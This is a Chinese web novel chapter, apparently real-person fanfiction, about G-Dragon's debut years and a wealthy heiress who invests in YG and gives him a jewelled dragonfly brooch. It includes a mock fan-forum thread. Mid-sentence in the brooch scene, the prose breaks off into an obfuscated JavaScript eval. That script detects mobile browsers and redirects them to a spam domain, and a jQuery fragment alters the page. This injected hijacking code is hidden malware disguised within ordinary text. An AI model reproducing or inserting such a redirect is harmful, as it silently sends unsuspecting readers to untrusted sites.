那眼神里透着疏离与仿佛生来就居高临下的淡漠,语气疏冷:“梁社长nim,这不对吧。” 李艺率:“我记得两年前YG遇到资金周转危机不得已出售股份的原因,就是因为当时的当家艺人SEVEN迟迟没有续约导致的困境。” 李艺率:“我以为您会就此吸取教训,改变管理态度才不至于再次面临核心艺人流失的风险才对。可现在看来……” 说到这里,她淡笑一声:“如果会社只是您用来彰显权威的地方,那我们投资人的信心也应该再好好考量一下了。” 梁锡硕:“…………” 在这么多人的面前,被一个年纪轻轻的小姑娘如此不留情面地质问,甚至是近乎羞辱一般的苛责,叫梁锡硕的脸色阴沉得几乎要滴出水。 他眯起眼睛,盯着那张从容不迫的脸庞,一时之间竟发不出反驳的声音来。隔了好一会,他才发出暗哑的声音:“请问你是?” 李艺率只是矜持一笑,下巴划过一道矜贵从容的弧度:“我姓李,两年前帮助您解决的燃眉之急的人。” 此时,一直跟在身后充当木头人的孙成昊适时上前一步,递出名片的同时不忘递上台阶:“很抱歉社长nim,李小姐此前一直生活在国外,所以说话听起来可能会有些太过直接,表达方式略有欠妥。” 孙成昊:“若有冒犯的地方,请一定见谅,这并不是李小姐的本意。从最开始她就对贵司的发展前景较为看好,否则也不会在两年前就雪中送碳……您说对吧?” 看到熟人装○已经悄悄蜷缩起脚趾的权至龙:“…………” 这个理由听上去也太熟悉了吧!这不是他这两年帮李艺率打圆场时说得最多的话吗?!还有,李艺率都已经在韩国校园里生活学习两年多了,身边的人居然还会用这种借口来搪塞吗?怪不得这家伙两年以来一点长进都没有啊! 而此时李艺率也配合得露出一个疑惑的表情:“我已经有在好好说敬语了啊,这也不行吗?” 显然是已经将装模做样刻进了骨子里。 权至龙:“………………” 哎,说实话,这里面其实也有他的纵容。李艺率这副装模做样的形象,大概他也要负一点点责任。 嗯,就一点点。 权至龙心想。 这边孙成昊和李艺率一通默契配合,找好理由给梁锡硕递了台阶,又特意强调了两年前的雪中送炭将他高高架起,显然这个时候再发作就格外不合时宜了。 他心情复杂地看向配合默契的两人,审视中又隐约带着一丝忌惮,最终只是含糊地应了一声没事。 随后梁锡硕又垂下眼睑借着看名片的功夫整理心情,然后就看到了令他更为破防的内容。名片上有关头衔姓名等个人信息他已无心去关注,全副心神都被两行小字牢牢钉在纸面上—— 银河物产家族信托 李氏家族办公室 每一个韩国人都知道,银河物产是银河集团的这个庞大商业帝国的权利中枢,间接掌控银河电子、银河重工、银河生命等多家核心上市公司,堪称是银河这个大型跨国集团的母体。 这意味着,眼前这个无礼的年轻女孩是银河李氏本家直系血脉,也意味着……他早在两年前就被面前这个嗅觉比鲨鱼还要灵敏的财阀继承人给盯上了。 亏大了啊。 这是梁锡硕脑子里唯一的念头。 * 哪怕距离上次会面过去已经好几个月,但再次回忆起梁锡硕那张后悔到汉城老家,恨不得下一秒就当场去世的表情时,李艺率还是忍不住又发出幸灾乐祸的笑声。 权至龙:“…………” 上一次李艺率在他们公司与梁锡硕发生摩擦时,并没有与透露出与权至龙有半点亲近,活像是个毫无交集的陌生人,这也叫权至龙万幸不至于沦落到出卖公司利益的尴尬处境中去。 权至龙:“所以说你到底要笑到什么时候啊?真有这么夸张吗!” 李艺率:“有的,夸张到大概是以后每次想起你们社长就会忍不住笑一次的那种程度。” 权至龙:“…………” 真是对不起了啊锡硕哥,害你被这样一个性格恶劣的家伙盯上了! 也不知道以后他和李艺率之间的交际曝光以后该怎么去面对梁锡硕啊,权至龙对此颇为忧心忡忡地想着。 六月时,出道纪录片正式拍摄完毕,权至龙也终于确定了出道日期。在经过了画报拍摄、专辑录制等一系列筹备工作以后,权至龙专门在七月的最后一天抽出时间去李艺率家赴约。 原因无他,他的出道日定在了8月19日,后面的大半个月时间肯定还有许多忙碌。于是李艺率专程邀约,给出的理由则是庆祝出道以及提前帮他过生日。 说起庆生,去年权至龙生日前,李艺率灵机一动提出了一个堪称天才到见鬼的主意。 因为权至龙提前说过不接受太贵重的礼物,于是她思考了很久以后眼睛亮晶晶地看着他,“我觉得与其在物质上思考该送些什么,不如干脆一步到位,送你一份爱情吧!” “莫、莫?!” 这是当时权至龙被近乎告白的声音冲击到险些失语,整个人都要跳起来的反应。 可李艺率这个人之所以会让他产生复杂的情感,这与她大部分时间恶劣行径和偶尔不按套路出牌的灵机一动绝对脱不开关系。 就如同每一个让他心跳加速之后迅速冷却下来的瞬间一样,李艺率竖起食指笑得满脸胜券在握:“我想过了,这个年龄的女孩子很大概率是拒绝不了浪漫告白的。你不是暗恋那位J小姐吗?只要你告诉我她的名字,我就可以帮忙去查一下她家在哪里。” 像是实在认为这是一个绝妙的主意,李艺率面带兴奋地描述起详细计划: “到时候你拿着玫瑰花在她家楼下打电话给她,如果她不肯下来你就在她家楼下喊她的名字隔空表白!” 权至龙:“……这已经算是扰民了吧。” “成全了一对年轻人的爱情,这点困扰市民朋友们肯定会选择原谅的啦!” 说着,她又洋洋洒洒列出了后续的计划,“最好是在一个下雨天,这样能稍微增加一点爱而不得的苦情氛围……等你表白成功两个人在雨中拥吻的时候我再带人过来,找造型师团队把你们好好打扮一番,再带你们去有人在旁边拉小提琴的高级的法餐厅吃烛光晚餐——哇,肯定是个很难忘的夜晚!” 权至龙嘴角微抽,一时之间不知是该苦笑还是无语,“我姑且问一下,等到时候我们吃烛光晚餐的时候你是不是也会在场?” 李艺率理直气壮:“那不是当然的吗?我可是整场告白的功劳最大的策划人啊,难道最后连顿饭都吃不上吗?!” 权至龙:“…………” 你要是平时吃饭的时候也有这副劲头就好了! 还有,他的18岁生日礼物竟然是自己抱有好感的心仪女孩出谋划策,怂恿他去向曾经暗恋过的女生告白。 这究竟是哪种恶毒的地狱笑话啊?未免也太荒谬了吧!! 权至龙最后的表态当然是拒绝,直到去年收到李艺率送出的球鞋时还见她嘀咕着这种生日礼物实在太过平平无奇,似乎丝毫没有打消她那个堪称是让人两眼一黑的计划。 也正是因此,权至龙在被司机接到李艺率家的一路上都在忐忑不安,直到见到李艺率的家中没有特殊的布置,李艺率也一如以往,他这才稍稍松了一口气。 天知道他这一路上到底有多害怕看到李艺率家被布置成表白现场,而J小姐则恰好安静坐在客厅里等待他的场景啊! 大概是因为想要帮他庆生的关系,李艺率并没有像以往在家那样穿居家服,而是换了一条剪裁得体的浅紫色连衣裙,裙摆随着她的动作轻轻晃动,衬得她愈发肤白如雪,眉眼清丽,仿佛整个人都被附上一层朦胧的光晕,连空气都动人了几分。 权至龙一时之间有些恍惚,被她拉着吃了一顿丰盛的晚餐,又吹熄蜡烛一同分食了一块巴掌大小的精致蛋糕。 饭后两人顶着夕阳的暖意在花园里闲逛一会,看淡了天边逐渐染上橙红色的晚霞以后,这才被带到了听音室消磨时间。 * 今天听音室的专场摒弃了以往古典乐的庄重和沉静,合成器的音色混合着鼓点在空气中跳跃,还未进入变声期,略带稚嫩的音色从扬声器里流淌而出,满是青涩的雀跃。 从13岁时的公演舞台录像《Ayo》、《Storm》,到14岁时YG家族二辑的MV《帅气绅士》、《在那高出展现》,似乎是被费劲心思收集了许多早期的影像,最后一一呈现在这间被改装过的豪华听音室里。 权至龙怔怔地看着屏幕,耳边是少年时期自己略带青涩的声音,画面中男孩的身影被无数次打磨,最终与19岁的他逐渐重叠。 像是被什么柔软的东西轻轻戳中了内心最隐秘的角落,他一时之间竟忘了要说些什么。 李艺率悠悠感叹:“你小时候的脸明明肉嘟嘟的,怎么长大了反倒瘦成这样了啊。” 权至龙:“……说真的,你有点太煞风景了。” 他轻笑着说道,眼神却柔软得不可思议。 李艺率转过头看向他,忽然像是想起了什么,她丢下一句等我一会便跑出听音室,不多时又跑了回来,手里多了提了个精致的小箱子。 李艺率:“因为今年是难得的生日礼物和出道庆祝,所以稍微贵重一点也不要紧吧?” 权至龙突然有种不好的预感:“…………” 那是一个约莫鞋盒大小、没有任何品牌LOGO的密码箱。 权至龙:“居然到了需要用数字密码箱这种高级的程度吗?!” 李艺率:“你打开看看呗。哦对了,因为你老是跟别人说起你的生日,所以密码我让他们设置成我的了。” 权至龙:“……哦。” 他神色无奈,但还是低下头老老实实输入密码。随着“咔哒”一声轻响,密码箱被打开—— 黑色天鹅绒衬垫上静静悬浮着一只活物,准确的说,那是一枚惟妙惟肖的蜻蜓样式胸针。 最先攫住目光的,是那两对薄如蝉翼的翅膀。 虚幻的蓝色彩宝雕琢而成的翼膜在光影流转间迸发出摄人心魄的霓虹蓝,像两片凝固的极光。 再细看之下,宝石背面蚀刻着蜻蜓翅脉的纹路,沟壑里填满金粉,金线随着翅膀的微颤流淌出液态金属的光泽。 蜻蜓的头部是一颗权至龙叫不出名字的宝石,游彩绚烂,在转动时从靛蓝迸裂出绯红与鎏金。 躯干则是以金属编织成昆虫的节状骨骼,每段关节都暗藏陶瓷轴承,数十颗钻石沿着脊椎镶嵌,刻意采用粗粝的阶梯切割,模拟甲壳的钝感,却在肌理间泄露出冰棱似的锐芒。 他被这样惟妙惟肖又凌冽的美震得久久失语。 好半天,才干干巴巴地道出一句:“这……这很贵吧?” 李艺率挑挑眉:“还好,设计费加上手工,再算上保险,差不多八百万不到吧。” 呼—— 还好还好,虽然不懂为什么要上保险,但八百万韩元这个数字实在要比他想象中要好上太多。 虽然他目前处于无产阶级的收入水平,但是好像和这位对金钱完全没有概念的大小姐相处久了以后他仿佛也对金钱逐步脱敏了一般,大几百万的数字都能够让他产生庆幸了。 这简直是一步一步看着自己逐渐堕落的过程啊! 权至龙颇有些痛心疾首地想到。 李艺率此时却说起了一个她非常自得的小设计,“我专门委托做了双层安全搭扣的防脱落设计,还拜托他们亲自测试过很多次,”她从黑丝绒衬垫上拿起那枚蜻蜓,指着胸针背后的安全卡扣道,“这样就算你在舞台上动作再大也不用担心会掉了。” 说着,她突然凑近,低下头将那枚胸针别向他的胸口。 他今天穿的是一件画着夸张涂鸦的T恤衫,明明看起来和这样美到看起来贵重至极的胸针丝毫不搭,她却戴得这样郑重,这样认真。 不管他胸前的图案有多么滑稽,也不管此时的他有多么普通渺小,都在此刻被赋予了某种庄重的意味。 权至龙的身体僵得不敢动弹。 只能看着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146446|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发顶,看着她轻颤的羽睫,看着她耳后淡青色的血管,胆怯又贪婪地嗅着她身上浅淡的玫瑰香气。 就在这一刻,这个李艺率为他低下头的时刻。 他仿佛一瞬间拥有了全世界,却又不知足地,近乎贪婪地想要拥有更多。 * “所以说,为什么是蜻蜓?” 合成器的音色还在室内流动,李艺率为他戴上胸针以后就往沙发上一瘫。 她整个人陷在沙发里,正专注地看着他13岁时录制的MV,似乎丝毫没意识到她刚刚的举动所带给他的震撼。 权至龙沉默地注视着她精致的侧脸,过了好一会才这样问到。 “嗯?”李艺率艰难地从屏幕上那张假装很帅的包子脸中回过神,她操作遥控器暂停MV,给出了她的答案,“你的艺名不是叫G-dragon吗?” 这话倒让权至龙愣了一下,这和他的艺名有什么关系? 李艺率:“dragonfly啊,难道不是这个意思吗?” 权至龙:“…………” 这都要高中毕业了你竟然还能始终贯彻你的老外人设,闹出这样大的乌龙吗?! 李艺率大惊失色:“不会吧!!难道我搞错了吗??!” 看着权至龙一副白眼快要翻到天上的模样,她又弯起眼睛神秘一笑,“你该不会以为我没有提前考虑过吧?哼哼,小权~” 她又晃起手指,一副俏皮又得意,仿佛一切都在计划中的胜券在握: “所以说,区区小权,你要学的还有很多呢!” 权至龙:“……所以呢?那你教教我吧艺率老师nim。” 李艺率嘴角微微上扬,指尖在他胸口悬停的那只蜻蜓的薄翼上划过: “蜻蜓这种昆虫在隔壁是勇气和胜利的象征,是一种很好的寓意呢!”她转过头示意他看向屏幕上那张斜戴着鸭舌帽,明明充满稚气,却努力摆出一副很酷模样的包子脸。 “权至龙从十三岁开始就不再回头,一直往前飞过了无数个日夜的坚持,终于得到了能光明正大走上舞台的机会,” 她想起无数个在活动室看到过的坚持挥洒着汗水的背影,想起他聊到梦想时的闪着光的眼睛,想起两年前被放鸽子以后一个人缩在后台角落里的湿漉漉小狗,想起他站在空旷的舞台上被追光托举的模样……这一路行来,她也见证了许多个瞬间啊。 屏幕上的画面定格,最下方边缘只有一句歌词—— [我的年龄只有13岁,但我的梦在宇宙里飞。] 于是,李艺率注视着那张轮廓逐渐褪去青涩,但棱角依旧柔软无害的脸,淡笑着道: “所以这是一件包含了我珍贵心意的礼物。” “希望你以后的人生也能一直逆风飞行。” 权至龙看见她的眼睛弯成两道月牙,睫毛轻颤如蝶翼扑簌,带着一种近乎深沉的重量,却漾开一圈温柔的涟漪—— 她说:“飞吧,G-dragon。” ** 【缺德论坛】 主题:考古第一赘婿刚出道时期有了亿点新发现 最近参观了布契拉提的高珠展,是很漂亮没错,但是本穷人只能看看。 秉持着来都来了俺一定要看个过瘾值回票价的心态,然后就看出了亿点点新发现。。。 [图片][图片][图片]x10 这是布契拉提高珠未展出的设计图手稿和作品成品照片,划重点,这是2005年年底私人委托设计师定制的作品。 怎么样?是不是有点眼熟 俺也是越看越眼熟,等回家以后看到组里赘婿的帖子,这才一下子反应过来 这尼玛不是赘婿刚出道那两年经常佩戴但是一直没人八出来品牌的胸针吗??? 直接上图 [图片][图片]x13 感情人家戴的一直是高珠定制啊! 好好好,2005年就送定制款高珠,什么时候老天爷也送我一个财阀对象给我开开眼啊!信女愿意一辈子只吃鲜香麻辣。。。 —— 1L: 沙发 你真是连吃带拿啊 抠1佛祖保佑你下辈子投胎成赘婿 2L: 11111111 诚信接 3L: 1111111111111(双手合十 4L: 卧槽!! 真的好好看啊!! 5L: 当时这枚胸针不是还在韩网那边引发了很大讨论吗? 话说这玩意儿不便宜吧。。 6L: 那么就让我这个好人来帮各位友友们翻译一下这张[图片]上的宝石材料吧 帕拉伊巴碧玺(翅膀主材)2片/总重8克拉/霓虹蓝(巴西原矿) 黑欧泊(头部与翅尖点缀)3克拉/闪电岭/90%游彩覆盖 红钻(眼睛)2颗/各0.5克拉/Fancy Red/阿盖尔矿 无色钻石(躯干鳞甲)20颗/总重5克拉/D色IF净度/阶梯切割 7L: 总结:真尼玛有钱。。 8L: 明明没有写多少钱 但是数字就是自动钻进了我的眼睛里。。。 9L: C8啊!!我是真不敢想 KJY刚出道那段时间是不是就带着这个胸针在台上跳lalala 万一一个不注意甩掉了。。。 捡到的人该会是这个世界上多幸运的小女孩啊!!! 10L: 有一说一 高珠设计师的审美真的高级 太好看了。。。 光是看照片都能感受到的金钱美 11L: 有没有好心的友友来估个价 12L: [图片] 这里不是写了吗 材料+设计+人工 749万 13L: 。。。。。 我甚至无话可说 那可是2005年的749万刀啊!! 14L: 本ldjj心情也有点复杂 KJY你小子嫁的真好啊。。说真的我都有点嫉妒你了。。。 15L: 不是。。KJY你凭什么??! 你甚至在那个时候还是个都没被叫过水葱的糊咖!! 16L: 不过有点好奇啊, 像LYS那种顶级财阀不是都会找那种私人设计师吗? 怎么还找品牌定制啊。。感觉格调好像一下down了一个档次 17L:回复16L 你高贵。。你有档次。。。 那V楼里的友友每人700看一下实力吧! 18L:回复17L 我将誓死追随你! 19L: 好好好,一看到赘婿的帖子就像回到家一样温馨 不管外面打架风风雨雨 家里永远岁月静好只有金钱朴实无华的味道。。。 20L: 并非朴实无华。。 21L:回复16L 可能跟定制主题有关系吧 布契拉提算是最会做动物的高珠品牌了 微雕技术和拉丝工艺都很无敌的 22L: 所以是从2005年以前就开始谈了吧?? 不是。。就算是谈了也。。。。不对 给我整的都有点语无伦次了 KJY你小子凭什么啊???? 23L: 其实韩网那边八出来可能谈得时间更早 24L: ??他们不是高中同学吗 还能早到哪里去 25L: 据传是04年。。。 26L: 证据呢?? 把朕的柯南抬上来!! 27L: [图片] 这是2011年YG上市前公开的股权架构 注意看 占比26.3%原始股的私募基金上面投资人名字写的是谁 28L: 。。。这不是LYS吗?? 29L: 这事已经成为南韩乃至是亚洲投资圈的一个神话了 史称80亿战神 30L: 来个懂哥细嗦 31L: 2004年LYS60亿韩元购入YG娱乐20%的原始股 2006年追加20亿 IPO增发稀释股权后仍然以17.8%的持股比稳坐梁锡硕之下的第二大股东的宝座 顺便一提,YG上市前CJ注资400亿韩元才拿到14.7%的股权 32L: 。。。。。 梁菊晚上在被窝里恨不得把牙齿都要咬碎了吧。。 33L: 而且LYS不像CJ那样14年中途就退出了 她是在16年才找了LVHM接盘 总投入成本80亿,12年时间净赚1344亿 以16.8倍的回报年化收益26.3%的傲人战绩成为南韩投资界的战神 34L: 。。。。 布施戈门。。我都快不认识数字了 35L: 。。我直到现在还记得李在叙当时接受媒体采访被问到这件事时的样子 李在叙:我女儿根本不懂什么投资。 36L: 杰克马:我根本就不喜欢钱(玫瑰花 37L: C8。。一时竟分不清是不是在故意凡尔赛 38L:回复35L 其实这么说也是有道理的 毕竟04年YG只是一个中不溜的小公司 一般财阀是不会把这种公司看在眼里的 那么像这种公式老师已经教过很多次了对不对?(狗头玫瑰 对咯!答案就是 恋爱脑!!! 39L: 耶!我做对了! 这简直就是送分题(菜狗 40L: 04年的时候LYS就能拿出这么多钱了吗?? 41L: 不止这么点 人家不是还花了一百亿定制高珠了吗 42L: LYS:别拿你的工资想象公主的零花钱 43L: 。。。其实这件事还有一个很好笑的点 明明最开始是因为恋爱脑花钱投资 结果最后成了投资传奇 细品之下 除了梁菊好像谁都没有受伤的世界达成了 44L: 梁菊:已C8shakeit啊! 45L:回复43L 品完了,嘴里怎么只有酸味啊 明明我也受伤了!!(荷包蛋眼泪 46L: 难怪KJY能坐稳南韩第一赘婿的宝座。。 合着你小子天生就有旺妻命啊!! 47L: 我不信,除非让我也睡一下试试(狗头叼玫瑰 48L: KJY(步惊云表情包):你不要过来啊!!! 49L: xs 我现在还能想到KJY那张在酒吧里被女模特稍微靠近点就一蹦三尺高的动图 瞎子来看一眼都要喊一声男德男德歪瑞古德 50L: KJY:什么叫赘婿の自我修养啊(后仰 51L: 哈哈哈哈哈哈哈哈哈俺不中了啊 52L:回复47L 你都敢想睡KJY了为什么不再大胆一点 直接做梦和LYS睡一觉啊!!! 53L: 谁不想啊???! 54L: 。。。哎,这事吧 其实也不能全怪曹操。。 55L: 嫂子。。开门啊。。。 我是我哥(狗头叼玫瑰 30.他从此恨上了秋天 2006年8月19日,bigbang组合在YGFamily世界巡回演唱会首尔站上正式出道亮相。 出道以后的生活其实并不像想象中那样光鲜亮丽。 跑不完的行程和赶不完的通告成为了这一年艰难阵痛期的完整缩影。 可饶是这样努力刷脸宣传,仍是收效甚微,甚至遭到了主流审美的大量质疑和排斥,成为了那一年里备受争议的‘最丑男团’。 外界的声音对几个尚且稚嫩的少年们来说无疑是最致命的打击,这其中权至龙的心情则更为复杂些。 在还未出道的练习生时期,权至龙一度以为出道就意味着人生目标的全部,但直到真正站在聚光灯下时,他才发现,这只是另一段孤独挣扎的开始。 因为比其他同龄人练习时间更久的缘故,他对自身的要求近乎苛刻。 如果在比别人努力了这么多年的前提下还不能做到完美,那么坚持这么久,比他人付出更多的意义又在哪里呢? 可他不能在成员们面前露出一丝松懈和软弱,这些自我施压的情绪也让他无法向任何人开口。 甚至是面对李艺率……他也无法轻易开口倾诉自己的挣扎。 大概是最初在与李艺率相识的那一天起就被对方看穿了软弱,且按照和女生相处的惯性,权至龙总是会下意识将自己放在下位边缘承担能引起对方关注与保护的角色,因此在李艺率的面前,他会经常放任自己的情绪流露出脆弱的一面。 可这一次和以往不同,这一次权至龙选择了沉默。 手机屏幕在黑暗中亮着,空白的短信输入框里闪烁着删删减减的字符,最终却又被他熄灭。 他想说的话有很多,像缠在一起的耳机线,找不到头绪,也怕扯出来只是一团混乱的噪音。 艺率啊…… 他在心里默念这个名字,舌尖尝到一丝微甜的依赖,随即又被更汹涌的苦涩淹没。 如果现在告诉你我很累,告诉你一切并没有想象中那么顺利,听起来会不会太过软弱了?很像……一种变相的求助? 他厌恶这种需要被怜悯的猜想。 自尊心像一层厚厚的茧,将他那些不安和迷茫紧紧包裹起来,密不透风。 况且,是她先一步离开的。 这个念头像一根细小的刺,总是在最脆弱的时候扎他一下。 明明是她先看穿了他的性格,包容了他的软弱,然后却又那么轻易地飞去了地球的另一端。 十四小时的时差,首尔的黄昏是纽约的凌晨,他的挣扎与疲惫,甚至无法准时送达她的耳边。 她现在在做什么呢? 大概正过着精彩的新生活吧,认识着各种各样有趣的人……她会交到新朋友吗?一定会的,毕竟她那样可爱讨人喜欢,想主动接近她的人一定有很多。 说不定很快就会有另一个人将他在她生命中的分量取代。 一种幼稚的、近乎蛮横的埋怨在他心底滋生。 为什么偏偏是现在?为什么是在我最需要找到一个寄托并以此疗愈的时候把我丢下? 他知道这想法毫无道理,甚至堪称自私。 李艺率没有任何义务做他的情绪垃圾桶,她的未来也不可能为他而停留。 可正是这种毫无道理,才更让他感到孤独无比。 人与人之间,是永远无法真正感同身受的,有些话在太平洋上空穿梭之后,只会变得轻飘飘,甚至堪称是可笑。 况且……擅自说出未来啊梦想啊这些帅气的大话,擅自把出道当成一切的终点,擅自接受了对方珍贵的祝福……然后再在此刻对着遥远的她承认自己的失败,未免也太狼狈了。 他不想让她看见自己这副样子。 * 波士顿,剑桥市。 秋日的查尔斯河畔层林尽染,砖红色的建筑群在澄澈的蓝天下显得格外静谧,李艺率抱着厚厚的书本从图书馆走出来,脚步却并不像周围的同学那般轻快。 哈佛大学的本科第一学年实行的是通识教育体系,即先广泛接触各个学科,培养各项核心素养,从而发现自己真正的兴趣和潜力所在,之后再选择专注的领域。 这意味着课程安排十分紧凑,压力也远超她的预期。 好在她在入学前已经做好决定,在第二学年选择以音乐理论和音乐史方向深入学习。 世人常常对名校光环有误解,认为在这样一所久负盛名的学府里攻读艺术类学科是一件堪称暴殄天物、浪费好机会的选择。 但实际上,哈佛作为一所汇集顶尖资源的大学,音乐学的理论课程同样是业内顶尖。不仅收藏着贝多芬、莫扎特手稿等大量珍贵的乐谱可供研究,其师资力量也堪称豪华至极。 这其中就包含了前柏林爱乐的指挥,老头子生前为数不多的好友之一——著名指挥家、作曲家,伯德伦纳教授。 这位古典乐学界泰斗在得知李艺率如今没有放弃钢琴,并决定在古典乐方向继续深造以后十分欣慰,主动提出要在未来亲自指导她的课程,同时还鼓励她参加明年的范·克莱本国际钢琴比赛。[1] “小熊,”面前这个满头白发的老人将手中的热红茶放在橡木桌上,镜片后的眼睛闪烁着睿智的光。 他像是一个再平常普通不过的祖父模样,叫着她记忆里那个饱含爱的昵称,“我还记得十多年以前,在海因茨家里看到你坐在琴凳上的模样。那个时候我就在想,在我的有生之年,一定要为这样可爱的小熊执棒一次。” 伯德伦纳年轻的时候被称为古典乐界的贵公子,可年逾古稀,那张俊美的脸上也多了和老头子一样的皱纹,叫李艺率看得莫名有些眼热。 那张皱巴巴的脸上仍是温和的笑容,却又多了些看待晚辈的鼓励和和蔼:“从山脚攀上高峰的人固然值得钦佩,但从深渊爬回地面,仍有余力仰望星空的人,更让我感到动容。” “我已经很老了,所以小熊,别叫我等上太久了吧。” 红茶的热气在两人之间袅袅升腾,李艺率摩挲着茶杯边缘,垂下眼睑低低地应了一声。 * 除却对前路的迷茫以外,李艺率的大学生活其实还算如意。 在一所顶尖学府求学,所获得的远不止于深厚的学术积淀和优质的硬件资源,更为珍贵的是其背后所承载的、难以复制的人脉资源。 因此倒也有人主动与她接触,隐隐透出友善结交的意愿……对此,李艺率自然是选择拒绝。 “刚刚那个人是州议员的儿子吧……未来的政治家啊。” 李艺率冷淡地结束了简短对话拒绝邀请,对着一名身材高大的男生礼貌颔首告别,身边的具时望则看着那个垂头丧气的背影,悠悠长叹一口气。 也不知道是为什么,除却在医院和最初入学的那段时间以外,在韩国的大多数时候具时望就像是一只长在她房间里的阴暗地缚灵一样,总是不声不响地躲在家里,眼神空洞长久地注视着一个地方,只在她主动和他说话时才会稍微给出些回应。 可偏偏从韩国来到美国以后,他又恢复了随身跟宠的状态,不仅有事没事主动开口骚扰她,还恶作剧般地‘赠予’了她几次诱发性剧痛。 可以说是十分让人困扰了。 尽管心里这样抱怨着,可眼见四下无人,李艺率面无表情地开口做了回应,“太有目的性的接触,我不喜欢。” “人家要是单纯想和你做朋友呢?” 闻言,李艺率挑挑眉,满脸写着不在乎:“那不是更该拒绝了吗?我已经有朋友了啊。” 看着具时望那张一时愣住的脸,李艺率语气中带着些许挑刺的轻讽:“你该不会以为我说的那个朋友是你吧?” 说着,也不等回应,便自顾自地插着腰轻哼了一声,头也不回地径直走向多媒体教室的方向。一会她还有一节大课要上,可没时间和具时望讨论些什么朋友啊友情啊这种堪比过家家酒的幼稚话题。 况且……他们之间的连接,又哪是朋友这样轻描淡写的关系就能简单概括的呢。 李艺率在心底这样想到。 * [刚准备吃早餐就被海鸥打劫了 TT] [图片] [为什么我们学校里也会有海鸥啊?这群家伙在城市里的适应能力太强了吧!] [哼 还好我早有准备] [今天的早餐是超级难吃的火鸡三明治 惹上我算这群黑/帮惹错人了!] 2006年的网络即时通讯技术已经逐渐普及,除了众所周知的MSN这类独立的IM软件以外,当时韩国的年轻人对于网络聊天室的依赖程度也非常高,这其中就包括了内嵌在NAVER门户网站中的网络聊天室NAVER TALK。 这也是李艺率和权至龙目前分处异国的主要交流方式。 收到短信提醒聊天室有新的未读消息,权至龙当下便操作手机登录网站。 看着屏幕上格外生动的文字,仿佛下一刻李艺率的眉眼就要从聊天室里跳脱出来,这让权至龙下意识露出笑纹。 虽然紧邻波士顿港,属于滨海大都市圈的一部分,但说到底剑桥市也是个内陆城市,在市中心被海鸥打劫这种事情再怎么说都太离谱了吧! 权至龙轻笑一声,手指摩挲着按键,又听见Cody的声音在耳边响起。 “别动。” 随即他挺直腰停下了动作,等对方在他身后一阵忙活,喷好发胶才得以重新活动自如。 看着他这副正襟危坐的模样,Cody浅笑一声:“女亲?” “阿尼,”权至龙抿着嘴唇看着镜中自己略显拘谨、却又掩饰不住雀跃的表情,否认道,“是很好的亲故呀。” 闻言,Cody了然:“哦,那就是暗恋中。” 权至龙耳尖微红:“怒那这是在说什么呢……” 还没成年的男孩,果然心里藏不住事啊,喜不喜欢全都写在脸上呢。 Cody耸了耸肩,没有再多说什么,只是意味深长地拍了拍权至龙的肩膀。 在候场等待的间隙,权至龙用指尖划过屏幕上的文字气泡,仿佛这样就能通过文字伸手触摸到一万多公里以外的情绪。 这样分享琐碎的日常,成了李艺率离开韩国以后的惯例。 剑桥市的天空、查尔斯河畔下的夕阳、本地有名的海鸥黑/帮劫匪、她遇到的一朵奇怪的云、学校食堂里味道难以评价的咖喱…… 这些文字和图片通过细细的网络缆线,跨越太平洋,准时投递到他的手机里,让他即便在忙碌到晕头转向的间隙,也能窥见她生活的一角。 仿佛她从未在他的生活中远离。 这让他感到一种难以言喻的安心和……快乐。 是的,快乐。 无论赶通告有多累,可一看到她的消息,知道她在那个陌生的国度里依然保持着鲜活,他的心就像被微微照亮了一块。 但下一秒,熟悉的犹豫和怯懦又像潮水般漫了上来,刚刚扬起的嘴角也慢慢抿成一条直线。 快乐是真的,但那种无法触及的距离感也是真的。 他开心地读着她的每一条消息,却越来越不知道该如何回复。 打字的手抬起又放下,满腔翻涌的情绪到了对话框里,最终往往只凝结成干巴巴的“景色很美”、“要好好吃饭啊”或者一个简单的“抱歉,之前在工作”。 他觉得自己像个故意闹别扭的小孩子。 一边贪婪地汲取着她分享的一切,充当他在充满否定声的高强度出道生活里难得的甜味剂,一边又因为距离而怯懦地不敢伸出手。 * 李艺率曾经说过,被人喜欢是一件很好的事,可如今叫权至龙看来,喜欢这件事本身却是十分糟糕。 他因此变得迟疑、变得笨拙,落差感和被代替的恐惧悄无声息地啃食着内心。 凌晨的电台直播结束,忙碌的一天终于算是落幕了。 权至龙回到宿舍草草洗漱过后,疲惫地躺在床上盯着手机屏幕怔怔出神。 出道初期的刷脸行程是难以想象的忙碌,身体的疲惫让他没有精力去组织有趣的语言,而精神上的挫败感和压力则让他下意识地想缩回自己的壳里。 于是权至龙又退回到了人际交往中最熟悉的模式里去。 他经常会在收到李艺率的消息以后刻意地晾上大半天时间再回复,试图用这种短暂的消失来维持一种虚假的、摇摇欲坠的主动权。 这实在是一种很幼稚的试探。 不能显得太迫不及待了,不能让她觉得我永远在等待她的消息,他这样在心底告诫自己。 仿佛是个在雪地里故意弄出声响、只为确认周围不是一片死寂的孩子。 他想象着屏幕那头的她或许会因此感到失落或是困惑,甚至会在越洋电话里听到她抱怨着“你最近对我的态度好敷衍”的声音里,得到一些扭曲的快意和安心—— 看,她果然还是在意我的。 通常在这种时候,权至龙会拖长声音用黏糊糊的语气回应安抚,并适时把自己的脆弱当成诱饵,小心翼翼地抛出去。 [我们艺率明明被海鸥打劫了看起来反倒是很开心呢kkkk] [抱歉刚录制完电台节目回到宿舍 今天的行程很忙] [真的好累啊TT ] 信息发送成功。 那边的时间应该是在下午两点,也不知道她是不是正在上课。 他盯着屏幕,心脏微微悬空,既期待着她的回复,又害怕等待的过程过于漫长。 夜色浓得化不开,窗外的风掠过树梢,带起一阵簌簌的响动。 权至龙把手机轻轻搁置在胸口,闭上眼睛,思绪不受控制地翻涌,直到胸口传来震动,看着亮起的屏幕,才分明感受到雀跃的窃喜。 他知道这样的状态很不对。 可他就是像陷进了一个看不见底的漩涡里一样,难以挣扎。 